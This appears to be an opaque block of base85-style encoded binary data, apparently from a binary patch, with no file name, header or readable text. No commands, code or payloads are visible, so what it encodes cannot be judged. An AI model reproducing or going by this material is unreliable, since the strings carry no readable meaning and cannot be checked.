zDub(CEYAow8ue1O3Qvb;BICC$Qv@Mdm^zmsO;FTcN(LUzvUf-ZR@96v5uUVO#X=Q| z;X283vS2+?~QB)MtZ8`(yI+1wsK zkb>UYeRz8?hqAoQY|>dIV;ucbeV*~XDZ9+fh;RuJDWrFoEXp6SUfRM2^9bFJUBc?= zP?-V2%pZ6nK{L;1WTm;ni03Ri#!P-kj=@=CX~6yyf9XLE0EUjK5Ve3H(q3B&EhMg* z;fUu5DO~GL_zvgc%8Q$NwG;sI{VWm)V*FP9P`D_~{+&3*T$7-roYfzI>j&w(gTgE` zsTd?9$t~Gv8rU`z02MALNjAN->~BH%1yRjQGY&#{Xcq3ZySm`xID1Au!^8qqzT}k| zbjY}zZgi&zz?^GgJ=(cuolAMY!%G-WyUCt|^V*OV2}w z-+E}!}k@s}6QlU(=)8co?CNs?t1E;(zQvzG#Ly$0}g z=bDJN?-Etvtwe|;iXG7cgO3e4ma}6MYY0J|_y<4Xearc(grnO4h*{!kGl~F-T~;ID zsop{ELBoP8@u+Rx0;$tT5JHN@9)IgMf^jbtd+Z_%)WUW8K{0joM~Mqw*o;CL0RafZ zHTC9n_$@#+-A%Qe#q+F~9PIP>ryA5mzPY=HV{8Pqkeb_A?Cm zEl&VL3djdwYvu&_!b$wWtl&?C_)en#%8f$rat&+VR`1 zJdF~a7IO+Dg}LYG20WDtp&9~_!+&9E{Pl{X%eThdHOrcKOtAyf&&MX|DN_Q~f+ARB zpE1e;nYt^)qM3l-HVeiL%Izm>!IyQ$jfO?LVA~ic+XmGuPEYsFY#ZYX**31kwt=N- zskyS*`?6+yo_%9^!QQaUP<&P_)XcFwS2|{94(qvhW{zQJ=J4XVW)81G|96@>ya?(u z+PRfu8TrGHg0I@73gbBf0haL+L&l1Nj_ln^b_}<&iKCs+dt%WxH0;3lJ7%$jap(!D z;e`M={DJ{ETo{VWcoBdL!T&P=YPjnFxYPmAi{}C`EPPAn0MLs9kO9vjIGjTePxb$L zcYCVmw!xS!n!*0&iv9e8f))Dl@8Bn zA-5MSiuJ^4Lu*-GR@ezkt9DcOc7j@kj1u+EzU;f&?_Ir{Wghg^Zf~%;#WY6Qqiz@$ z)A4g5Rdy(SkwUz-xC^3Y1dv7npDMo>}Pkq_HP)&;BGcxmFCAhd-bJvZ?!**n{1ym7H$rw z?Tge+mNWLfW}kTG%skA8z+T|a$tT>}^!-CObe(Z@dU%Wr?= zcR%#_C&N;DaS$vmDv)jmeW5)y7H2Afz8H*F-+$CtLL*k7E-E=tiRG1ls}r=O07pDCWpWsjO~ z*gu*sO$t^l{S*bh3!g2L%KnLG_czC3w`dI~UG~a%D_WT`Z-HmR2^jpv@At>AU79YT z|M4I(;D6AgaunD}!#5Rd4CMD>SKXrhzdn|p)m`5`%&`=X3W&&YzRyd-~|gD_-WU4gWM-r|+Ax1y#ELZTlY~-H}DV+U(xF1mw(? zFw=LneJB;ZF4YSfw!>=p!TEMQQygSJ(&$hr4Qh;^E7A{UhUTi93io(jyQz@$jBX`O zv{@H2E3tRsfJIA1PHlyY5p8Uz4IKDS;PnCyr(%HgXXkT>U|DL&&n^0qe9?yIsg85H zy;uk3vW&$G6-xwoawM+t3yvj}W}UdAfP=~xKPdhUh=!w30DzK5@4K;n9IDiQ5R-1C ze?d8}Oj{FPnFtC2!Lss1EiQ|c@c7e{4%2EN`$21{K~f!I9-v>4FWBHSPQcFM{!Ilc zSs%yZ4b=zj?4x;S%ELa4K|&KURs7g_w$foej!`c9E8+ z{%)PzM3ws)0*ofBv{`Q!mQ;WG%I8z%PoBg9v|0S~aDS~TKhcmG!_#%G?&AlJmd$8C z^@D`~=tXS?q%4W-)d8=EevlOJ@o`gxt}XVok%5|lTqa;~{fZVQEBvn9YX9`XL0fk( z>~_iX02yK|`9WISr(S-~v-EVk;$eBgF~5 zhRw7J@X=POfI=~Iset}0#9&b1VS%Tn-R@=!cIR^oJoRF`;??t&CaOZMk0taV zqhgoDsZYingJ0KQ5*;(a1xq%IBdiyYx1N({>LF+H%$<%rLvTslbn7a} zy72<4u3t{j>X*h*pOSnvtfG8zdleIWbJ=j2p967siMvaSciHiVoLD}phED{E>9)^h z2ed0CyM1ggP#7T62Nxt2JvYRVT4VwM+dF84g+e|{F`3VFra^fyI*>3=3morZY<-an z96i~7c^KNctkxpybm$Q&;$q$n<>)KN^IAk*>ve0{W}dGoF9QHl_c7T*a&ptX=hE^1 z?a?o$IAa}Lo{jQE5@z3vW-j^W z4aEWR8?xNxQN}K37a}q)H$-(i&5SYSpb=P7q^?E~{ zKbrI>NIpq{wRR<4UZ?9VrWOAhp}U?x8t3qg0rL#lKxGnw;Xpw5H05(;b2w2rtl23A zv6w&&d}mUGfaE3)6jmP!Zzmij#}#K>j09edeJqN!B1Ct1T0KP)BlXXEEFfM8n$Vf? zce9VP0lX1o(;xkCRnIKbi}BG>6QYf61Y?Jf1)Kb5-yM`^Zj%qQlsjj&aw4VMLy(V2 z5P5LzE-(cRb1y&41{lN?Xokn@i2a6+L!wjxLWU)_nc)v61#1X|WCcbji>O()jjjqF zZuH_eEVvfHx#MChERcXAY(IdwP+gv*cu;MCs!k{TG(cJ~Un2Znu;B%U zT+bSQGB-@`yB;)!y3()PV0c(KHm|-W&Bvl4bb6$7l<#4ExWu5rUwGJ9Llh6i#I9s zd-U?^+~929+U(J$o#4|1F4#~+|I7`8DV?qm%48~s^1&m%=&ax5>J z)Y#JVz`h-L_D?=Geo?Hvh?D5!sRYao0#g5^ChkCE9&Dm|6fy*uU=p}Q2b>sg+v371rg(u|EJaX9SV68!aBBqz{h;}ss#cUq;OJKpZ1??J!&>R0eosG5W z3W|s`5iJ5`?d|AUgpc_ISbk0YDX7df^(X3k@Ox&o1f8PZQPI8z>(2&4&#zHkrWpSr zkzrhFh?IM+1KdA)qQ8jY;nz*EspJ-Q*k?3Dec@;Z2~%BwmKD1&r3CLw*$8+h+m>$DsTVl@Tb##YW!9 zLL^kFy%q}%p);e~T}XzDS=5LZZYhe^7mPsbu029DSgvOzwV72{Y7MpI9jY0Pe!83o zcjuV?3fmLwtlM*@r+k#S0aPGdrGTfaOWr%7q*6_EU;EZrKhjo!R#F7rQ3;vHKkV6eo; z)Wgn7Afo(d*uEbsFmvq76Fw#3;hR{X#h6pbStzFIRTi}hH4_FwO^to#?|UHA_ZlrC z%pe&@oGKWK6uW5O;s$RbJ?68UicK1#(T6KmJ5CZ+3lv_tDRFKxHpx~mQo z8{B5~uE5%!%OPL$>P9TIjqU*!OomKTQ)b-GGpftCLHO0NiCzGM{9)!xvl#aL=fDeM z#k0W^aCd5|EDXkII$^NR!XQJLi;Fa>B*@P>lAxpUi!47rr6Q9h!BR=k=d}*Ft7ejI z=aL{Xb%hf%{y4fz9DFR07H|+C;G0l}WXA|(4H_F9;V!bdnEntn9}2L8ygNvC&(Q7o zt`t743y}@b2HG>Fy=#jfz`embeNV*ijei58BNEasKgdtqM81p90;zxaMLc~jwsaF3 z#neEm#I?_ZrbsI;ho&%ypeZg4rct7@=(YNSh>HALCH+XyUk=AF5330ud?-o465*n| zs&VX?a1S`WGLc}WA0UCDsUE1n$S~QgKESkOBD+~VkzF7({$9Qrqq%`Yr-^It=h;kJ zF|f`bI1^OuTo9BCj=L`e1hbKZEEYRd{3bKpKAba%pB18pgTj!M;wOUKLCC^@j2Nu~ z-=LU6Z@IcBS)q}{!UDi3iL$w=xMFk+Y0Y-7Ee0VDpdexaf^4#Cz&0(w-ZUFWV zTB;##?o;jMRyq2*(4Fkeok2A2^zeli*2oMaskPH@oIF?~hEU)6Nd1mboDUm?79iE;RS704j&VOcFlZ>{H2 z7L}3uNjq$475gYwGicAOGVJT#4kD}f%$zx0m~&qxBTbNTPU-_xf(z4ba$ENJHo1ke zG0eTgun5p&=uC=%)Ci0~1c-0vn^*vJU}AF7fyr4cp~D<8i?X1zjM+K84Oa`s4=^EO z)yMCI;4xaj0>73$hRp{}Y#*(vL#j}bwa2nrsMq&)$Mtme`XZ(r9F)$0Lg!^|0;{Ns z!`;QII5FL)I&D(;SQQ7(YCD*O(1BHPSq;ZLZFVGUqPyD3C|T1RJyzx=5?$~Qt7vOd z)JKx+&{oQZak-uy^=3!?ndHc8+o4#161K5Dix%CQiX$}5a$z9jua}3+?lxq>`N1Y- zsVVHAb1z<(RG@zSV!c2c4%#iEVp4uHxiM>{b8!Hph?vPDbZNpS!V=<)#riEASsGmm z#skX7OpPwuSHCVyi5%m(5g+l5+@T;p`ra@fiO+30ew3!-7?`}xajSP5H6-nFTk*-984F!YH_BzO=V zaS}#5-?E7W50J=J)D^lz_!B>)>#Sl-PfWG61z{5YRgS(ZTi4G`GF~XG1%4LezetKZ z3ixgCT$f;E=Y-YD$w7SpIx2v)8aXiWieF1-WTUzd;9YG(V*Jd;k=W&|cEz**>h7QFIuBCgi!zDL; z0khTgQVv}kLaD)4z4g@vWSHbXe)G=RX>;cqL%G+6uXymmoxOKcX+1p-smW{?hyTeTLNV=uFOyBLq%eF z$sW}ICT4-m*?l|*gEl*hvuC=V$?$ALx=iy@GA~|Mgh`vDjvlQCohvDRwR0s=fOQYe zhwB1x0K0xNNU#%qEf>Yp`xd)by!5h#XqXpxU~iy<}^Xfy#!z`4(ZdZZw~X zg0&-fsM}?JZUPg%t^cqulFzKn!V(RiM{K~n{0Mf~_$GEjNAB}AI-FG3v8UyM>_y7L zOHld5KayUPfsU{@nTLPIQ$z*+vH1$y951z@(nbS_@|+&ekd@5xl!X35Fm<}BIZ*S{ zs>fYhT_+a=s*gN|$9YkpI)58lY`L8jP>gXs*+{ru~KLQv+a*wAEFg z8szFzgYgN#28eX?q&`MeH2^@;urGX#a#KvZsk~6mM?k@P{I@vTom-Ge>6L3dHH=DM z3+C*%y*cE=3%lHz9#$Jl+JEkkIv3Mj_OMflI@6PZQ#`n6dh$%u6T^gmN@B3u2iu&f ziH2UqTW8LHPV%hjDa0m5bB>x=FW8>=&OH9OFx+@Y9UCu*X0!O?gk_K<2KHIvU__Z5 zvv7LBbey9RF&zgSgRCMp%=d-RxRz|O{n!_RiOBZ)ye~x6iQ!e+7ef0)Cx!>sR4K9n zFo&C>kqI8aSRlgEJ6SlTiQXJx1dsx@gcwZ<8j0Q(qyIAZ!n-OCOfhp=vL(c;o<=1W zcg@VRjMmCT7z}dIMUyQNjEedq8a4WmckzXMz|Qfk=x@W}c;+M=&sBCjbAFJl0dOyh zJ@Yp?o~!J5uEO!mE`1>_Mn!&w6~4gYQT}6(u{0APCQBQ_!HsQ3ORJ#{sFTEEXIK=Z z8y^o`u*38^)u+xHXxCwc3Vh1B!<#9+~M?5O?|8)DpTde zFeDKWW%N+*qC!qj9!?Kf{roiDf;owDl@0qbp&4l$XchQR#yJAbb>$)Q!st9M0I1%j zc6#O`Xjs>)nQh{94WBp1yeQ_R08|=FnjEq)aOZj`n+l2C>J;STlPa$W^*0bs{f$N ze-49(mmv#u;j(?k9Is8lFc*bk(Y6O*N0W-yX%kclq?tJqxwhAUYE(aVl~=NVsO0Sx zwHeY#v3f45ere+YpcnmQdWKr?5Tp2{7CP!@TP`PE+loK~D| zT!d3T@2FRldi% zv2J+fuys0a*&6>~g`F+Jpbm4O&>nd6{FZv!N{Wy4EY2l==bHgqx_&sHAG>;E9iN zo7j6Od;Id%t zTse+rl#6R!2m~`_&!AjSTlxzIX79i+W_KwOE`VE8d`?a^I$O>CcxG>iB9oCVEFwbCO|gb>?yhvW+5-L*=@QAfVdSVGexPe1gF=|dJtta03rKA-mwYKK zBHc-l;ULLd+r&MA$1*~*ek(E47!VwT3_KjN`ICquMf*&NU}_t-12x|_YZ%Q9p`765 z#2`k$QeRkLpiGKJYk?pY2!_BY+;OUxq0Dbd4Ti3}?CgOZa9ACwjzG>a-84f>va-l| zg|ALW-Fulx^SIKW>Qg^!F`3fqd-Or6BrDO z3)9f67S{ex{sfb~xb}l6Yt3-JtC(*;sjW=ADC~{=+K4qyTUOY0ZY%492oBdjiHR_5 zxkq$ab2t+cjLT*A@BHw^mRbHVQyK5V+@XO6;pGO@UeDM7Y-=Z)TJJ5t?J_x(j54oZ zUf-c=&rDnCDpdU;;2aSqkaVlzMSIf3>#ZM@yaj&+T7%&mfE%o-btPmTHQw6sP7LF%G}dnHLP{B{Bj`F+iD zu#fbOR|?^G`jH1ciY}k(SVq;7CN}#H72E>^c$NGO(So6XF#$)rQ8q()X9mWLIQTi6 z{`Rir7iL~mwNJ8RO9-Aw@u~B(Rzp(Z16HDNpH~aj<`!Sd!7tdNf?4$Su33w0u$x+> z%z!h0*DR$@rj9kdZRcn_FnQjy-U8|w zviY9`*WM0X;~BVuoFr%oWvEiKi|VT`BR8dx&2N#w3?nt(zj#O0bM{RVYYqaCY z)r=!E1u*qk4?9Q`;B`LIo;kt=g^M-4JzWJh?g=FM4@qS&eR8{AH;yZ|6ebq*{!jaP zxb;p#GuQiF-dLeyq4U8Dbi`S18M7heg_b44ydsyf9{u$dD;J_nP^5?Dn2Ebk0=hmD z3x@ean6+45kIf)&B{IJV)i2b3=&p0^B`5lvy|}Fm1-UwAR&hj^rjxZI8fGH)Donw< z{S-4)8KQwDK`{csg?fzq2^St`-6r$30;VzR{!(y)&t8w=pC4>`G&ymdtKmauIt?Ge z>wt=Hm?Ss}4Sy+X_?#a^rw;X-b~#NN{!-TPmqNp@G)aJ)eD{q}Iqvl?FC;wd-#>;} zbsSVeXnJEgwQB@Wj(?i~Z2U{iEH4pEON@2AkZ-@k_CjLg34rPrrbww_(m?^8NpONm zR)FrwU}w4~66Lu;tg*`rZbxm_Wq4)d4^z|$Bc)ONz4+tRDv2n;KJm_*AjjwrGXa*O z9DgouKs~r-P-+?lYUd@h0GLbqXDJWx_@#jzj&NR=G{vcQ>kTX0AH{l`OTZK4fGih; z6dc?>fTS(c$qomVLdpVze$r+Z8T7mvh^}uUJDhPnRx(A|@FrwmZr8*UZr@Pd!FQSVD}{(uTZ z<5g;zvJTIR78%IvOEg7*oJt@tDBqT00E6+Pl&S?g5j2I#Z0*0c#BIphFXy4%aGo7y z5!9uaH)8BR|9M03GqdW4&OfB$|`C_C|N2*!m zi&f{Ob%A{74LkG2yaq&f=8Jhz!KN}_EV;mwq_Y^`gFoeh?JuN_S)(+yzcXztI>N-P zIPWN6NV6X$bZsTJf?H(e)1PfYR|i z&c$M0PnU?k^SK4*%Ec1V7fMMn)f1y+m5){#qXb@s)@2Wta*8)9Ry`|2TEoggwsqB) z(uDb{SK^G&n<7LHX?-M?fZAskNIX(+!=(_>p(`T^@8tnDVOj=kVA~?j1g`C@`xDQI zewcN4WcV)vjC=E{ImsI}iTV-ahrR7I6r>E6CnJbU!!!A_TQHVF+n|5p+aAu#9&tFeetcY@7H ze%N#*bOeZE>=Di6u}YyaoyKp;%NdQ~PTn3kCU+Gxh4B?M%R{EADBXzhp3C2fOtWBd zvc*C`j?3AT4=6EpXk5qC0mlK!T`+Y{LPi{3!V5IaOnumSfq<-Ls<6Hs#$->RbV>w- zfXRi_^6lDmg^{WZqw>xyFiY8rKi{Ji;cKm;viu}3LS2vzSa>`_X# zy~?j3)+9i-Pgb{$lvA~i2I3wLg|tU06HRvsU}TF@tgW#{soQT4)lya#wiXU5)5P*nO!*g+7kipI z%X}R7(G;=65n+Vu`>=Eyth)Yas<>~r|N2=VvCQlP zZw{XnPk@f!K)rUX4@=ETazoOPnFn~jtkW6@%T4?-#-)&xLtapX)?pP?z~Ma}{?0SX zHnvUCOw67`6$Rd+8Zoa9p3RNnbFJf7lH+Sql`CQJ?EPT9x2eI`8V14*N-Ks8c6@(I zzFSFWs(s6TIhkt!9y9`kE69Lhz!Q8)#H5=h|-%~C61F4G0lP8id=cG53eX>)KzA!8tebuYLn10JVW|5fa$SMy zkyK}ocg!wUAvAJ#2$$doXuRx^Ml4b{r!2)ig!%1H-?W!h8Db{vNt#_Wagcg3Si@eOx ztNI9%E#kPM!*8)+r4k0y#eD9%n_yO^QF2XAornf8*N1DiW17`y`D%%4OmhUm*P~xw zxpHQsoYg9yU2#L1$a9asdGL`mDoPC@Y_t9^a4(364TN)GCiCe)7?z&B=XUE z6A+JQC%X(^jA>`_u1;5&UR1nXHN2vWEBr@cPDR#T{OjL8?Z1rW-G2mEY_oEDaz%q0 z?wyWKPp^bXFuC_c43&K(nTI_*Kp@=DlW}vU<>M&v z87F$VT9A*w+w)KM{ZfMD*Xwyw}5 zMuh50HR32%w<0sf%b^Pf@#Zv|sct(WL1+)t|2?r`0>BclSqjY+_aM&{6TVzG>lmbA z&>GJJK=h~(fDJw}tlGe5)-Nvnx9^nb0;n~qeTu9~){Y(!dT&@iJr05p;*9=MW}6+} zxoftUKR{q$bPZb>3R=$O90OLon@Dspk-v5?JD2k_Z7qCmMyS7#s*AR}J94(=1)E#V z?v%ql?Mph9VJPLrGM7$)^500eu|gt+Ltc@u3h#m0cF5I6y)EeStY?dnmsoJ-k(U?C zeOidTjP^FZ$n6~po+EQ~gTF6UKNCwcR7#s*|}xhlZ;|0yR>mtu6L%t;^Z!w-`*&pTZNue-mcAlvIo4X`PYw`@0KQ{RLE z1l_dH^h5lRJDFqu+-0V2U*5Z$|H5!>vS64Q=z+yUTHb?0SQL$@b;RZ$pzu2b1mEbs zi>81~bGQ-ooX5dU@|Hn7au4A>WA^wU3~>Xz9K9{%rr;HhSl(8V%!IDC^jJizmoy9F z=Ah}GLDMEqLzo~%NePrO`DIzDqv3W8D(BBvj-8dfkU#I4LCop|3Oqp9A65}RC{@IH zr7Zdi<6XRa=INg90-9-tfaX~kj!Wb!+r{GZ9mUY5*dxKn4o5TS^rq z5TNO@*-psBGD>&?kQtNc6=}ldHOvnYSq>LxfW>`|@I#cz$@asjegTf-=*KVr8U1Jk z2fVLLh7B}IK+}f9m~S*GLpytRC}z_B-#<&)r0Y4@5v^dfMe?SDa)?Tby1n)f--d=1 z`y}_rUgfl>ogsyd^@*=JG2zp_2zFo}0=bu=a4JY~Eaw1={jx`xS%;Ncw0D z>)>_e;hW3N9WNpIB#5`g=yy7r1*8d<3Oz{}1)PLyW0TkE2Ho5mzrLFG*N1i5udie@ z{V0VX0aHmC^Mj>#pYyO6gaJc?;UVtFf^PrlemXn;P=usIdaf<5BMjf+Y$D6o78~X} zknu>pfNwKGdJY+&E}*MK6BbSRo&Wd*!&8v>5R#k{DhTw_g;2YO&(nQrSEeSFHqYpZ zD4@1lFv;M6X)uJpU}c2A5fT~KJjHPat{LB(H&~|k4g^2avym-Jh^vC-2q=c4I{w8a znhqp9m+TdiJ%G7D_B`83_N0D`^v>9mHjEx&lH6YnriT5)4x@{{lHbh3hA2cXB}$ga>hmTQ5HJc^uY4R^dl&5dG!%0w!s7?x^Q9f4r6 zQ+C+Z(;5t|4WS(3$LmW|wT~%=Ae0Y~c@P;}&J$YaM6Z@hl1d($s#rZ<54PrI11@UvJZX4?>;TB85L_z*{h6?z|ama#X6>n#Qtw2zJh-6)svj#Jlm{>dhB}Bah zr%*90c!ktqffZIWh!m@uW1kd@QlYEa9i>h#<{DD0g=A6+TmkfIzael1u|%(bH?&E8 z7RnU`-XI`+!P&#`$BC#b#?c9H1R;ZdovI)sv(^*kTdf=h&y8P2rlI3Qv=k2+8yEk5 za&mTp=084FOlhr?uWIQ{&AIeOtg>%h;m29#%8pdA#aUidST4)vwL@Xa_Nr?1a2d0i zU?8z!=QQM9~j zf9Ih%)<7-jDnJ*HK@2Kduh@v;_WcU2+~m9CpX-m`sjYT=wuhjsoI`i2(Z9?l$({_L z-Q_nSO7J^7#P6NNDMY$>bdYcWo=U#9%>v?csek~mw9}j6YVYtCXXE zHxoNW6gak-b4Mz01W6}4a3pgvB{pze0jU4A6nE}lUv1nQx@jxk$#mIQVhU6Zjj7c` z2~~mzCKan8H|5z2{mQ> z>lnT?{@H8v7t_q!e^4so7xE>3v-s$vW11FtMS~LxU#Q^?)t$ciLNhKQdf_;@SP2t8 z93jT_=rz0cESSW)0OQUumVV)O3HLCMC7=>X)Go0uT2SU>`^W4HWKU*&lksVmw6_8H z$yzrZNoJDMW7wEL5gCu8 z0rVUCtoY=$MSrrJUO|odyPJyW&>@&}d}KNMtofxX-tDq%mY-IwRYYPPua1{9H$`ZN zVYo!GPKhNMn(TtjG#1A(WnmIzPN}vC@{nBvk;Ar53pjF5oeI6m-qE)gg9%MVPw3Jb z53BDp(6uffkIpvWV`%;Yk79NVJQ)J$Ah%{dKE}A$8Y_fJ?NKUEp+?OfMa`&kbxJ;B z<;%d#6fl7%=U8b+2F*JJ7;=QM4ymL;Y|eH#x>rM7@+#wbq}vUDgfyjA@t=axO&Tt! zKp(lW$;cO`8r}xNTOuQ7ZIh>2RxhMGG~dtD?5tJFJ%@lI3Jay-rwgAB3O=NNdBSB| zv}$o=eh44|3QA~QsA}ix=jOaLGAH5c?@A+celU#K91y?9-wTyS4)T(`ll1UX0g;>b zkP(Zj}}VN(n^hhSk@n1I;CsZ*p{ndK{Dm1-pBe zR^rJV3yaEoZY(T7na9F%vLhCja|a(98H4BaLb0&5Rdog!aBg;sft?-4%;VB9NE?GV zHuBRGG{?>ANcaN#&1$pq9n+|A*i;;VYqMp**Z6-dgWI$!^A@G>FiO=&L?WSZ;fKK% z>mtW`;c#)igq1A9g8MuXFg7^R6mAF+uzP31veCim3FCvM z0r9D1JesXTUfOF^as=;UHH~$Mm&dggdm!vshwe-QXHGQKCD>3mOwBv6Z5fOx$3Mc7 zH!o(_z3fXgKXI!jVkd!2*BcjGe z#}67hwoXUwM5C=EPP?2+^C1Gx;DT;(1~DQkc57oRDAHo)_j}%V?{n_0Ta^UG?$xPO zoqhJ%`~7&{=lgly=LJI3heMYfi-X@>^>5eU7H}N^hg(n{#H{%Gdw4-%Vn*eXbUr|S z#8w0Y&mz9jTf*bzWz^;~nrBMuo3?L8!AkY?8g=TY7Wxd{(yYDH4p~RR1ahnMLPcU4 zOqjF$cwi_05=79cA1AA#P!~wrPg!51qRn`d)#Mx3pqRz0%!i?UJmz)=l?-Mb%HK@R z!Gmy~5D(%VEoN&fr!FG7Sv4L|ML_|7V>E+78j>N3-SNZpUBTT|0T!0fvQ_?+ochaF zIf^K47L&*OCXg)!^pd`^lJu2p(J`%t2_z(NGN+8up(mPNP>*91_>5!*2D?k#lgIkI zD|c0vqb}}w{qA*d&@3k#Md&NlhBJ+m{5t8dmIDpO(BB>XT~=#{-}}4g%fAbzkggHJ zo*U(>*Se?tkq$bPn2M)*uclRkb@$E3;yi8fcs#JP7Y{t~jIWO;diT#cg?4f!{d8a$;2ft%%rurUTPv%jiHY&|_>gwjS zB~Ks~0>~{ch0#^G206@~7u5gi?sIcab9{kt=*Ud-jInTVIk6AzO~d;C>rCIx@sah< zAG{+C5c3SPl5JI7V+($&JcU-WqOgUq>+)+(&xemNJ@RSb)c^^X1NQ-v&;dwzLK+|q z1rjH_@(|CTFFm$JFn5KU9=Ui&xcO3sTfBtU_29w5!45_>C4@=brcm%C<`}$t8NiIg zHUq%uF%5uiQUH+(cLa!ER9qM97|2&wcL3$!20(WvrlrAxfb(8m-O~J|R!?N!-}3@` z${tqm6I+)$ybPT^VLR!PaI^q4N*sr$s>>BBtJikA^9?m<02Cbn=!DAH_1Mx4`d&yI z2|QzutQGv2kAGjdb6J={n#TnQ=DZ=<0QE~ONIkgoj`X|qVTRyb|9y`(;!%KWxy zac%0m&efcb=2%Pr5nB2pBHVa}w^YSO6E5KDLpzzeJ*mFD(x-)}2^293WNr4`9%I zv^B_>IG~@jq>;)$Xc4kqQlAjd(voV4h#pi9V-c2?6tyV^DyA+$@9C{&6vGkN0|c1R zi>$SQYYD$x0#twiUBbDDw0(FJQ`>0Pg*8Lmm>}J2;v@`AM)=^Hg5ap4Q2+fqsD&l% zkP%A$gK4DX8wxLZBcNk9$MkF2t}z#3Y}z65hScPu93D`a#gx<@SOIAbf)@p9tkI+^ z5BA;ete*gzbf%cv5WFGgP2pr7iot`dT{&?co3pKAcC12&tUrce4rLN&X|zg$rrHI0FO=#`!n2 zI8P6+2F}S8C$vjU*74st4gVUy;~Q1+70XF<6KN5S5@CFaPr zBs*G=Y!X3W0i91Z(2{s=;_!nI)@>|4evSZY5I=5z2wBO4LW1wCTGM4Z2o#H7Se|5) z_9y?cXc9$+mD?+m&Gztckp~XgNVdvm0ForLpR|j|AkVg>a9PH{jpOEABBz6Z39nDf%gO|pase0!pVXbUR%Nmc7k=!N;|etZH_hOApW$^t z&d9IpAUh%IhYVZDLL!M`XWn~wJ|w-hkFfP6wlDc{7WkPaS`FSXA3p>_kN-QkYL0xw zx!2v~h{j-HP|9a=3Zf2idcAKq0@Z}m)IXgvFz{YyXxC@CqP!dTch3VBPVTr*;B?q& zFyx)t7@!V09ILpG?~s^Yka!0-)NM_O%+na@htQShpAEjM#A}eJKm~waq$=fM^h`5k zG?aZnR=T|*RxJ#80O2Ia)|953jNNGH3~%(w>cqQ4T5PicCN;r`^bR-?oer=B9bO5) zx|27Ko~+i%`5bCTv5B&E?4CjT!0=XsSGrxFh0wuCsgWs|1|~reV@gh>t5x&|a=a^T zA~&77vS?F@(}rEaHYQS5t-fPzv=9>P{a_~gNHD;!6xWjiYST%k@IyPc$*Q@R`MY8SH!Dzt@ z5<(Io_sxrR@QalsEu+5w#~9HiGQrg46EY$f7q4ye+PC`}!PSHSO}&yxI}0S@O?;p3 zI}`gM({-;g&z)F!MJ-Py{*QAPz^z(I8`VhpmheFyp|0Jb5?`9_l&V@`mZv9ePKLt# ziDkmYs6=3+85wTn;?sisrOilhYC+ystaI{|-oba#oBYgj4b&2g6}KZ4Y`7NHiVtEJ ziNawvkiQuqO|>6J7x`;<%wc6+OQ^UiIzD$mk>Eu6AOLi=n@=+vx8f}}Q^pgxJ(&_c zTd>?@1TKDIJZDtJ|?L+;e0;o+Owf#(S=|0nBL^pv;d_;97M)`O# zr?h~xTd^CaH5S1v>LT5an~4oTtH_~%0l$)cMr8I%8^>MPm?2q~u^2m5A+gkK_NqEK zeF0;>!`3eD#L1ZX4%@i6bN$jYoI}N(8<+0j8`|ql(%K?Tg?-{h%+N<>CMb?$-?mCUwqD zL@V$W=t$weN$EholQ6|{po1;d5yR<%g;)*b@=Iq#{B!%DBJx23?E`}}J{o2vtIdpc zs)5y(dk|L%X9L4Engxa@nw68EA?Z9}Q1WtzJ4jCL^=;6jfZtfhXDqpPmny`;lb{>o z9g-^_nSRIgkyydFDPvc6l9d}-0lmrhe?@gfRzQo)m;9~C7f3$I2iS^x0*pU_6#A@# zl#>kVA1n4!I>f-Vt>*F_i^~g(%l9rWKe)L3$l?+smm|sIMDPa-uqKk7hH3XDq{a4W z6TJzF!rx#Ss}{Lqp9*?v5Q~Xm3Y8u~@_jz9z;(lS)Y8f9N<7rmM7u(vaHYE{u7K&Q z#magJtIO$VIl?+9U&a+e_=qGb40oJ!4=sbZezsk)iDqwB(Gr`D=R4s+x%>`wR{u)f za2vb|S@o+csw=6(dMD$Ad$0`_1R?%c|0V67uC8de3=OJnB6Fzs-~vnp8=kPvTLyEs z`@WeC)?p~1opoXtd)igWK0~=&egcS~n%M3lsV&|xO zS3uT`Vq`fWIit6rU$K9S*`J-SsNSwHX(Vbqk*a4Qu<1!m?pN^Rc*;`@S_)&|z9<{? z#+Cc_XKW}E?lwN(3|X+W2F7;wty(s^wiB$=SO%AOoP(u0h&ZVd^UMC!3>jY3@mlxC zLw&ITheiV~-BfKSLGN5ixu7mg3}SzNvRdCGWP*Zw(rRh3kEz<^Ykoi-AHAnyld8Ot zxr2@SQ01V0b9Zn0BN54cbJsoUppuFfti`2{D!P=qX#$Nr}bNllxsBTcnf6UnB7?6jdk!tG(BJq3@OFrM7qlEuxQE^zfh&wx3 zoiX=jCazuWbvZi@8ld{m$X|)rgtp8I1s<~U=fG1w9MZ^m!#P0f!J>d9T+UWUkxs*CSCgyO&bdlF4S$T^&?A7v z!QV($v?K%Mr(+3fU~O0_&&OkRD38bHvee6^+E1+9#o=Y09Y`6svLp5xqz*X4(8Ye; z)tqjIe46`EGrw>!A)SVe556uz)MsaKbK7J9U#kV&{Kpl}#A z_3KD@;VevOI4^muuS?A=`ijwJ!lRhoCDtgX%|uhNV00-!Ve?}xGx^tp=&Z-6%;)@0 zR9Ad0cEfT0X3XMA5IG(RcIc^{Q;3&g4C;?G_h~!K!BI%+W?{$G)j->JsmXxeQeDmZ z$FZOACD<~UIbtT`c(*2lv}7(eo@8Kp3Eo7!(O#7e96*|$#^#G4FjygZ?Q}*rBvn1r z)ol##N2IH7;v(n@b8U&P9#1BlbQM~L*yh>Bg8YO%^#z6tTwNV3Y>z`PW@6V0e}@bd z$dS{Lw6{Jegc$_gD^!4J(0%YrwHfXyXx8E`i7Hg;>d;CS5H7l-@-o!_gY>c~#E93hC_KN1m~ZYw zaXuN~2pr|{BpSAEeYSf=PbxCd+Gmtl1}k_7X#Xu406OmlU1On9|`TA`C9z3{ySDF+J8CgIDW z`T_+y7dRH99?Mx7GeQdQ6DF7o!s!j%> z<&m#*fECunUj2))br0b>VGw=ime=l9E`Hp#dnp&Oc9_gd#GTCMOxvrV9f)wN>0NcF zIu5+m7ugEAKmU^1rs&8_5EO0?-V`g(COGZ6j~qJTCXbSdac9E}_vTmmi#U+LtQ{K2 zP#s?&!$F|3@%}El->kmmmeX!IPYWNML==K}U?p(>OJdQ6pbZ>~ho1pk=5k$@w>&D=9%+V7|7}gI9 z#R$?$p%B^0@-1{CwEhFPP>b|wFP>7&fx~Mt(7Bl#C>LXT52=_t^NBQoAvlB#g{+sG zU{aDn%uUrUYm2~ZA2%kN6t;g|%$TWok#0BF;I}&AIK<0Xwk-de$YjkK1A5x|qN$_@}7md5mPK#k3s; 